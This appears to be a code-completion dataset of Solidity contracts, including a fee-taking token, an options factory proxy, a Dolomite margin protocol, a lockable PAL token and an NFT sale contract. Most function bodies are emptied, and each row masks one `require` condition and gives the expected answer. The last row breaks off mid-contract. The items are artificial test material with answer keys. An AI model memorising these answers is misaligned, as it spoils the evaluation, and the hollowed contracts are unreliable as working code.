function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
require(_buy <= 25, 'cannot be above 25%');
require(
_buy.add(buyInternalFee).add(buyReflectionFee).add(buyBurnFee) <= 25,
'overall fees cannot be above 25%'
);
buyLpFee = _buy;
require(_sell <= 25, 'cannot be above 25%');
require(<FILL_ME>)
sellLpFee = _sell;
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _sell.add(sellInternalFee).add(sellReflectionFee).add(sellBurnFee)<=25,'overall fees cannot be above 25%' | 325,475 | _sell.add(sellInternalFee).add(sellReflectionFee).add(sellBurnFee)<=25 |
"OilerOptionFactoryOwnershipProxy.createOption, not a deployer" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
import {IOilerOptionBaseFactory} from "./interfaces/IOilerOptionBaseFactory.sol";
contract OilerOptionFactoryOwnershipProxy is AccessControl {
bytes32 public constant OWNER_ROLE = "OWNER";
bytes32 public constant DEPLOYER_ROLE = "DEPLOYER";
constructor(address _owner) public {
}
function createOption(
IOilerOptionBaseFactory _factory,
uint256 _strikePrice,
uint256 _expiryTS,
bool _put,
address _collateral,
uint256 _collateralToPushIntoAmount,
uint256 _optionsToPushIntoPool
) external {
require(<FILL_ME>)
_factory.createOption(
_strikePrice,
_expiryTS,
_put,
_collateral,
_collateralToPushIntoAmount,
_optionsToPushIntoPool
);
}
function transact(
address _to,
bytes calldata _data,
uint256 value
) external {
}
}
| hasRole(DEPLOYER_ROLE,msg.sender),"OilerOptionFactoryOwnershipProxy.createOption, not a deployer" | 325,515 | hasRole(DEPLOYER_ROLE,msg.sender) |
"ORDER_DEPOSIT_REJECTED: deposit already performed" | /*
* Copyright 2019 Dolomite
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.5.7;
// =================================
// External Contract Interfaces/Structs/Etc.
// =================================
// External Helpers
// =================================
// Loopring Codebase
// =================================
// Dolomite Margin Trading Protocol
library RunTime {
struct OutgoingAllowanceTrigger {
address signer;
uint marketId;
uint amount;
}
struct TokenTransfer {
address from;
address to;
address token;
uint amount;
}
struct Context {
address self;
IDepositContractRegistry depositContractRegistry;
address dydxExpiryContractAddress;
Order.Info[] orders;
address[] marketTokenAddress;
////////
bytes32[] depositFlagTriggers;
TokenTransfer[] tokenTransfers;
OutgoingAllowanceTrigger[] setOutgoingAllowanceTriggers;
DydxPosition.Info[] dydxPositions;
DydxActions.ActionArgs[] dydxBeforeActions;
DydxActions.ActionArgs[] dydxAfterActions;
uint numDepositFlagTriggers;
uint numTokenTransfers;
uint numSetOutgoingAllowanceTriggers;
uint numDydxPositions;
uint numDydxBeforeActions;
uint numDydxAfterActions;
}
// ---------------------------------
function setDepositFlag(Context memory ctx, bytes32 orderHash) internal pure {
}
function requireTokenTransfer(
Context memory ctx,
address from,
address to,
address token,
uint amount
) internal pure {
}
function registerPosition(
Context memory ctx,
address trader,
uint positionId
) internal pure returns (uint) {
}
function addBeforeAction(Context memory ctx, DydxActions.ActionArgs memory action) internal pure {
}
function addAfterAction(Context memory ctx, DydxActions.ActionArgs memory action) internal pure {
}
}
library Order {
using OrderHelper for Data.Order;
struct Info {
address signer;
address tokenS;
address tokenB;
bytes32 orderHash;
bytes extraData;
}
struct TradeInfo {
bool usingDepositContract;
uint positionId;
uint expirationDays;
uint depositMarketId;
uint depositAmount;
////////
address trader;
}
function tradeInfo(Order.Info memory order, RunTime.Context memory ctx) internal view returns (Order.TradeInfo memory info) {
}
function decodeRawOrders(bytes memory ringData, uint[] memory relevantOrderIndices)
internal
pure
returns (Order.Info[] memory orders)
{
}
}
library Activity {
using RunTime for RunTime.Context;
using Order for Order.Info;
using Activity for *;
enum Type { Trade, Loan, Liquidation }
enum TradeMovementType { None, DepositAll, WithdrawAll }
struct Trade {
uint orderIndex;
uint marketIdS;
uint marketIdB;
uint fillAmountS;
TradeMovementType movementType;
}
struct Loan {
// TODO
uint orderIndex;
}
struct Liquidation {
// TODO
bool isSafe;
}
function registerActivity(RunTime.Context memory ctx, Activity.Type activityType, bytes memory encodedFields) internal view {
}
// ---------------------------------
function _decodeTradeActivity(bytes memory encoded) internal pure returns (Activity.Trade memory trade) {
}
function _decodeLoanActivity(bytes memory encoded) internal pure returns (Activity.Loan memory loan) {
}
function _decodeLiquidationActivity(bytes memory encoded) internal pure returns (Activity.Liquidation memory liquidation) {
}
// ---------------------------------
function _generateTradeActions(Activity.Trade memory trade, RunTime.Context memory ctx) internal view {
}
function _generateLoanActions(Activity.Loan memory trade, RunTime.Context memory ctx) internal pure { }
function _generateLiquidationActions(Activity.Liquidation memory trade, RunTime.Context memory ctx) internal pure { }
}
/*
* @title DolomiteMarginV2
*
* Allows Loopring v2.3 orders to trade on margin, loan funds with 0 collateral to perform
* arbitrage and liquidate under-collateralized positions through the dYdX protocol.
*
* Users sign orders with the broker set to this contract, so orders must be submitted
* through this contract, ensuring that margin orders can only be settled as margin orders.
* Users also sign other information in the extraData (transferDataS) field of the order
* which is used by this contract. The information provided by the relay is checked
* against this information signed by the user, and is also verified by Loopring v2.3 and dYdX.
*/
contract DolomiteMarginProtocol is IDydxCallee, ILoopringBrokerDelegate, IDydxExchangeWrapper {
using Order for *;
using Activity for *;
using LoopringTradeDelegateHelper for ILoopringTradeDelegate;
using SafeMath for *;
struct ActivityArg {
Activity.Type activityType;
bytes encodedFields;
}
struct RelayParams {
uint[] relevantOrderIndices;
uint[] relevantMarketIds;
ActivityArg[] activityArgs;
address dustCollector;
}
address public DYDX_EXPIRY_ADDRESS;
IDydxProtocol public DYDX_PROTOCOL;
ILoopringProtocol public LOOPRING_PROTOCOL;
IDepositContractRegistry public DEPOSIT_CONTRACT_REGISTRY;
ILoopringTradeDelegate public TRADE_DELEGATE;
address owner;
constructor(
address dydxProtocol,
address payable loopringProtocol,
address dydxExpiry,
address depositContractRegistry
) public {
}
// =================================
uint256 private _guardCounter;
// Functions with this modifer can not be re-entered
// (sets counter to odd number when executing, even when finished)
modifier singleEntry {
}
// Functions with this modifier can only be called after entering a singleEntry function
modifier noEntry {
}
modifier onlyOwner {
}
// =================================
mapping(bytes32 => bool) private orderHasDeposited;
mapping(bytes32 => mapping(address => uint)) private runtimeIncomingAmount;
function setNewOwner(address newOwner) public onlyOwner {
}
function withdrawDust(address token) public onlyOwner {
}
/*
* If orders in a Loopring settlement require interaction(s) with dYdX in order to
* trade on margin, loan money to perform arbitrage or perform liquidations, they can
* be submitted here. The orders that need dYdX are registered along with other relevant
* information in the RelayParams parameter by the relay.
*/
function submitRingsThroughDyDx(
bytes memory ringData,
RelayParams memory params
) public singleEntry {
}
/*
* If orders in a Loopring settlement require interaction(s) with dYdX in order to
* trade on margin, loan money to perform arbitrage or perform liquidations, they can
* be submitted here. The orders that need dYdX are registered along with other relevant
* information in the RelayParams parameter by the relay.
*/
function submitRingsThroughDyDx(
bytes memory ringData,
RelayParams memory params,
Order.Info[] memory orders,
bool isTypeSafe
) internal {
}
function _createRuntimeContext(Order.Info[] memory orders, RelayParams memory params)
internal
view
returns (RunTime.Context memory ctx)
{
}
function _registerActivities(RunTime.Context memory ctx, ActivityArg[] memory activityArgs) internal view {
}
function _resolveDepositFlagTriggers(RunTime.Context memory ctx) internal {
for (uint i = 0; i < ctx.numDepositFlagTriggers; i++) {
bytes32 orderHash = ctx.depositFlagTriggers[i];
require(<FILL_ME>)
orderHasDeposited[orderHash] = true;
}
}
function _performTokenTransfers(RunTime.Context memory ctx) internal {
}
function _generateDydxPerformParams(RunTime.Context memory ctx, bytes memory ringData, bool isTypeSafe)
internal
pure
returns (DydxPosition.Info[] memory positions, DydxActions.ActionArgs[] memory actions)
{
}
function _clearRuntime(RunTime.Context memory ctx) internal {
}
// =================================
// Loopring Settlement & dYdX Action Callbacks
/*
* @Implements IDydxCallee
*
* dYdX is instructed to perform all of the necessary actions for
* margin order settlement (and loan/liquidation settlement) to succeed.
* After all of these actions, an action is performed that calls this function,
* which performs trade settlement through Loopring v2.3
*/
function callFunction(
address sender,
DydxPosition.Info memory accountInfo,
bytes memory data
) public noEntry {
}
/*
* @Implements ILoopringBrokerDelegate
*
* Loopring will request the available balance of the order owner if the broker. The amount of funds borrowed is baked
* into the size of the order. Thus, returning an actual balance is redundant.
*/
function brokerBalanceOf(address owner, address token) public view noEntry returns (uint) {
}
/*
* @Implements ILoopringBrokerDelegate
*
* Loopring will then request approval to transfer the borrowed amount to settle the
* order with the borrowed funds. Loopring notifies this contract how much the order
* has been filled and requires that the funds are sent into itself (this). The exact
* amount of received tokens is stored for later use.
*/
function brokerRequestAllowance(LoopringTypes.BrokerApprovalRequest memory request) public noEntry returns (bool) {
}
/*
* @Implements IDydxExchangeWrapper
*
* Neat "hack": if you want to orchestrate a deposit for an unknown amount
* you can use a SellAction to do it. Have dYdX "sell" 1 wei and, in the
* implementation of the IExchangeWrapper's exchange function, return an amount
* and it will be deposited into the dYdX position in full! 1 wei is burned unfortunately,
* but who really cares.
*
* That amount we "stored for later use" is returned so that all of the purchased tokens
* are deposited into dYdX in full.
*/
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes memory orderData
) public noEntry returns (uint256) {
}
// =================================
// Administrative
function enableToken(address tokenAddress) public {
}
}
| orderHasDeposited[orderHash]==false,"ORDER_DEPOSIT_REJECTED: deposit already performed" | 325,558 | orderHasDeposited[orderHash]==false |
null | pragma solidity ^0.4.18;
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.37487895
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(<FILL_ME>)
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public{
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public{
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
}
contract Operational is Claimable {
address public operator;
function Operational(address _operator) public {
}
modifier onlyOperator() {
}
function transferOperator(address newOperator) public onlyOwner {
}
}
library DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct MyDateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
}
function leapYearsBefore(uint year) public pure returns (uint) {
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
}
function parseTimestamp(uint timestamp) internal pure returns (MyDateTime dt) {
}
function getYear(uint timestamp) public pure returns (uint16) {
}
function getMonth(uint timestamp) public pure returns (uint8) {
}
function getDay(uint timestamp) public pure returns (uint8) {
}
function getHour(uint timestamp) public pure returns (uint8) {
}
function getMinute(uint timestamp) public pure returns (uint8) {
}
function getSecond(uint timestamp) public pure returns (uint8) {
}
function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) {
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns (bool) {
}
}
contract LockableToken is Ownable, ReentrancyGuard, BurnableToken {
using DateTime for uint;
using SafeMath for uint256;
mapping (uint256 => uint256) public lockedBalances;
uint256[] public lockedKeys;
// For store all user's transfer records, eg: (0x000...000 => (201806 => 100) )
mapping (address => mapping (uint256 => uint256) ) public payRecords;
event TransferLocked(address indexed from,address indexed to,uint256 value, uint256 releaseTime);//new
event ReleaseLockedBalance( uint256 value, uint256 releaseTime); //new
function transferLockedToken(uint256 _value) public payable nonReentrant returns (bool) {
}
function releaseLockedBalance() public returns (uint256 releaseAmount) {
}
function releaseLockedBalance(uint256 unlockTime) internal returns (uint256 releaseAmount) {
}
function unlockBalanceByKey(uint256 theKey,uint keyIndex) internal {
}
function lockedBalance() public constant returns (uint256 value) {
}
function push_or_update_key(uint256 key) private {
}
}
contract ReleaseableToken is Operational, LockableToken {
using SafeMath for uint;
using DateTime for uint256;
bool secondYearUpdate = false; // Limit ,update to second year
uint256 public createTime; // Contract creation time
uint256 standardDecimals = 100000000; // 8 decimal places
uint256 public limitSupplyPerYear = standardDecimals.mul(10000000000); // Year limit, first year
uint256 public dailyLimit = standardDecimals.mul(10000000000); // Day limit
uint256 public supplyLimit = standardDecimals.mul(10000000000); // PALT MAX
uint256 public releaseTokenTime = 0;
event ReleaseSupply(address operator, uint256 value, uint256 releaseTime);
event UnfreezeAmount(address receiver, uint256 amount, uint256 unfreezeTime);
function ReleaseableToken(
uint256 initTotalSupply,
address operator
) public Operational(operator) {
}
// Release the amount on the time
function releaseSupply(uint256 releaseAmount) public onlyOperator returns(uint256 _actualRelease) {
}
// Update year limit
function updateLimit() internal {
}
// Set day limit
function setDailyLimit(uint256 _dailyLimit) public onlyOwner {
}
}
contract PALToken8 is ReleaseableToken {
string public standard = '2018071601';
string public name = 'PALToken8';
string public symbol = 'PALT8';
uint8 public decimals = 8;
function PALToken8(
uint256 initTotalSupply,
address operator
) public ReleaseableToken(initTotalSupply, operator) {}
}
| !rentrancy_lock | 325,629 | !rentrancy_lock |
null | pragma solidity ^0.4.18;
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.37487895
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public{
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public{
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
}
contract Operational is Claimable {
address public operator;
function Operational(address _operator) public {
}
modifier onlyOperator() {
}
function transferOperator(address newOperator) public onlyOwner {
}
}
library DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct MyDateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
}
function leapYearsBefore(uint year) public pure returns (uint) {
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
}
function parseTimestamp(uint timestamp) internal pure returns (MyDateTime dt) {
}
function getYear(uint timestamp) public pure returns (uint16) {
}
function getMonth(uint timestamp) public pure returns (uint8) {
}
function getDay(uint timestamp) public pure returns (uint8) {
}
function getHour(uint timestamp) public pure returns (uint8) {
}
function getMinute(uint timestamp) public pure returns (uint8) {
}
function getSecond(uint timestamp) public pure returns (uint8) {
}
function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) {
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns (bool) {
}
}
contract LockableToken is Ownable, ReentrancyGuard, BurnableToken {
using DateTime for uint;
using SafeMath for uint256;
mapping (uint256 => uint256) public lockedBalances;
uint256[] public lockedKeys;
// For store all user's transfer records, eg: (0x000...000 => (201806 => 100) )
mapping (address => mapping (uint256 => uint256) ) public payRecords;
event TransferLocked(address indexed from,address indexed to,uint256 value, uint256 releaseTime);//new
event ReleaseLockedBalance( uint256 value, uint256 releaseTime); //new
function transferLockedToken(uint256 _value) public payable nonReentrant returns (bool) {
}
function releaseLockedBalance() public returns (uint256 releaseAmount) {
}
function releaseLockedBalance(uint256 unlockTime) internal returns (uint256 releaseAmount) {
}
function unlockBalanceByKey(uint256 theKey,uint keyIndex) internal {
}
function lockedBalance() public constant returns (uint256 value) {
}
function push_or_update_key(uint256 key) private {
}
}
contract ReleaseableToken is Operational, LockableToken {
using SafeMath for uint;
using DateTime for uint256;
bool secondYearUpdate = false; // Limit ,update to second year
uint256 public createTime; // Contract creation time
uint256 standardDecimals = 100000000; // 8 decimal places
uint256 public limitSupplyPerYear = standardDecimals.mul(10000000000); // Year limit, first year
uint256 public dailyLimit = standardDecimals.mul(10000000000); // Day limit
uint256 public supplyLimit = standardDecimals.mul(10000000000); // PALT MAX
uint256 public releaseTokenTime = 0;
event ReleaseSupply(address operator, uint256 value, uint256 releaseTime);
event UnfreezeAmount(address receiver, uint256 amount, uint256 unfreezeTime);
function ReleaseableToken(
uint256 initTotalSupply,
address operator
) public Operational(operator) {
}
// Release the amount on the time
function releaseSupply(uint256 releaseAmount) public onlyOperator returns(uint256 _actualRelease) {
require(<FILL_ME>)
require(releaseAmount <= dailyLimit);
updateLimit();
require(limitSupplyPerYear > 0);
if (releaseAmount > limitSupplyPerYear) {
if (totalSupply.add(limitSupplyPerYear) > supplyLimit) {
releaseAmount = supplyLimit.sub(totalSupply);
totalSupply = supplyLimit;
} else {
totalSupply = totalSupply.add(limitSupplyPerYear);
releaseAmount = limitSupplyPerYear;
}
limitSupplyPerYear = 0;
} else {
if (totalSupply.add(releaseAmount) > supplyLimit) {
releaseAmount = supplyLimit.sub(totalSupply);
totalSupply = supplyLimit;
} else {
totalSupply = totalSupply.add(releaseAmount);
}
limitSupplyPerYear = limitSupplyPerYear.sub(releaseAmount);
}
releaseTokenTime = now;
balances[owner] = balances[owner].add(releaseAmount);
ReleaseSupply(msg.sender, releaseAmount, releaseTokenTime);
return releaseAmount;
}
// Update year limit
function updateLimit() internal {
}
// Set day limit
function setDailyLimit(uint256 _dailyLimit) public onlyOwner {
}
}
contract PALToken8 is ReleaseableToken {
string public standard = '2018071601';
string public name = 'PALToken8';
string public symbol = 'PALT8';
uint8 public decimals = 8;
function PALToken8(
uint256 initTotalSupply,
address operator
) public ReleaseableToken(initTotalSupply, operator) {}
}
| now>=(releaseTokenTime.add(1days)) | 325,629 | now>=(releaseTokenTime.add(1days)) |
"cannot_buy" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract HBMS is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(address => uint256) private addressToBalance;
uint256 public constant SUPPLY = 10000;
uint256 private NUM_OPTIONS = 3;
uint256 private SINGLE_OPTION = 0;
uint256 private FIVE_OPTION = 1;
uint256 private TEN_OPTION = 2;
uint256 private NUM_IN_FIVE_OPTION = 5;
uint256 private NUM_IN_TEN_OPTION = 10;
uint PRICE = 4; // * 0.01 = ether
bool SALE_STARTED = false;
string public PROVENANCE = "";
constructor() ERC721("High Bunch Munch Station", "HBMS") {}
modifier whenSaleStarted() {
}
function contractURI() public pure returns (string memory) {
}
function baseTokenURI() public pure returns (string memory) {
}
function _baseURI() internal pure returns (string memory) {
}
function setProvenanceHash(string memory _hash) external onlyOwner {
}
